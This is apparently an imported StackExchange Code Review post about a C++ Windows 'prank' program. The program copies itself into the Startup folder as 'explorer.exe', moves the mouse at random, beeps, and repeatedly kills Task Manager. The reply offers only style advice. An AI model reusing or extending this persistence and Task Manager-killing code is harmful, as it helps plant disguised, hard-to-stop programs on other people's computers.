HiveBrain v1.2.0
Get Started
← Back to all entries
patterncppMinor

"Silly program" for moving the mouse and doing other things

Submitted by: @import:stackexchange-codereview··
0
Viewed 0 times
thethingssillyprogramdoingmovingforandothermouse

Problem

I've made a simple program that moves the mouse and do other silly stuff. I want you to look at it and tell me what can I do better/less space and also what can I add. I want to prank my friends.

```
#include
#include
#include
#include
#include
#include
#include
#include
#include

using namespace std;

void killProcess(const char *processName);
void mainFrame();

int main()
{
char lpszPath[MAX_PATH];
SHGetSpecialFolderPath(NULL, lpszPath, CSIDL_STARTUP, false);
/ ^ find startup folder path ^ /

char fullPath[500];
char const *copyName = "\\explorer.exe";
strcpy(fullPath, lpszPath);
strcat(fullPath, copyName);
/ ^ add filename to the startup path (for copying) ^ /

char fileName[ MAX_PATH ];
GetModuleFileName(NULL, fileName, MAX_PATH);
/ ^ find the path of running program itself ^ /

CopyFile(fileName, fullPath, 0);
/ ^ copy the program itself to startup ^ /

//FreeConsole();
/ ^ hide the console window ^ /
srand(time(NULL));
mainFrame();
}

void mainFrame()
{
int mouseX, mouseY; char key;
while(key!='e') / you can close the program with 'e' (if window not hidden) /
{
while(!kbhit())
{
mouseX= rand() % 1440; mouseY= rand() % 900;

SetCursorPos(mouseX, mouseY);
Beep(12000, 100);

killProcess("taskmgr.exe");
/ ^ kill task manager if running ^ /
}
key= getch();
/ ^ get the character from keyboard ^ /
}
}

//code below is not mine (killing a process):
void killProcess(const char *processName)
{
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
PROCESSENTRY32 pEntry;
pEntry.dwSize = sizeof (pEntry);
BOOL hRes = Process32First(hSnapShot, &pEntry);
while (hRes)
{
if (strcmp(pEntry.szExeFile, processName) == 0)
{
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,

Solution

-
Please do not use using namespace std (read this).

-
Convert magic numbers like 1440 and 900 to global constants with meaningful names. I would do the same for string literals like \\explorer.exe and taskmgr.exe, but maybe that's just me

-
Your formatting is not consistent. Sometimes you assign variables like pEntry.dwSize = ..., with spaces around =, and sometimes like mouseX= , space only on one side. I suggest to put spaces on both sides, and to be consistent about it.

-
I would put these two assignments on separate lines for clarity:

mouseX= rand() % 1440; mouseY= rand() % 900;

Code Snippets

mouseX= rand() % 1440; mouseY= rand() % 900;

Context

StackExchange Code Review Q#67866, answer score: 4

Revisions (0)

No revisions yet.